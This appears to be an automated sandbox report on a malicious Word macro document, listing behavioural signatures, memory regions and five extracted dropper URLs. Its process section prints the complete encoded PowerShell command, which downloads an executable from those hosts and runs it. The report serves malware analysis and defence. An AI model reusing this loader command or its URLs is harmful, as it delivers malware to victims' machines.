Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
13/06/2024, 09:24
General
- Target a4d62db8715f405304a50a210d917ff1_JaffaCakes118.doc
- Size 232KB
- Sample240613-ldevqawgrj
- SHA256 c5533c6495a79ce66fe499804c120d21559df3aca064c5a331bda19672c9d9fb
Malware Config
Extracted
-
ps1
-
exe.dropper
http://kndesign.com.br/wwvv2/wPxxj0v53027676/
-
exe.dropper
http://load.studio/wp-admin/fqmCvt/
-
exe.dropper
http://melangefresh.com/partner/9lg91006/
-
exe.dropper
http://cengizgulec.com/wp-admin/wmZHHHARm/
-
exe.dropper
http://www.skydiarynepal.org/wp-admin/HWGaf/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a4d62db8715f405304a50a210d917ff1_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
sist02.xsl
__PSScriptPolicyTest_fqs0n0ds.1rp.ps1
memory/1472-70-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/1472-86-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/1472-71-0x000002C923430000-0x000002C923452000-memory.dmp
memory/3892-9-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-15-0x00007FF80E410000-0x00007FF80E420000-memory.dmp
memory/3892-8-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-7-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-1-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-12-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-13-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-14-0x00007FF80E410000-0x00007FF80E420000-memory.dmp
memory/3892-11-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-10-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-17-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-16-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-20-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-21-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-19-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-22-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-18-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-0-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-30-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-34-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-3-0x00007FF850D8D000-0x00007FF850D8E000-memory.dmp
memory/3892-6-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-5-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-4-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-2-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-566-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-567-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-568-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp
memory/3892-587-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-588-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-590-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-589-0x00007FF810D70000-0x00007FF810D80000-memory.dmp
memory/3892-591-0x00007FF850CF0000-0x00007FF850EE5000-memory.dmp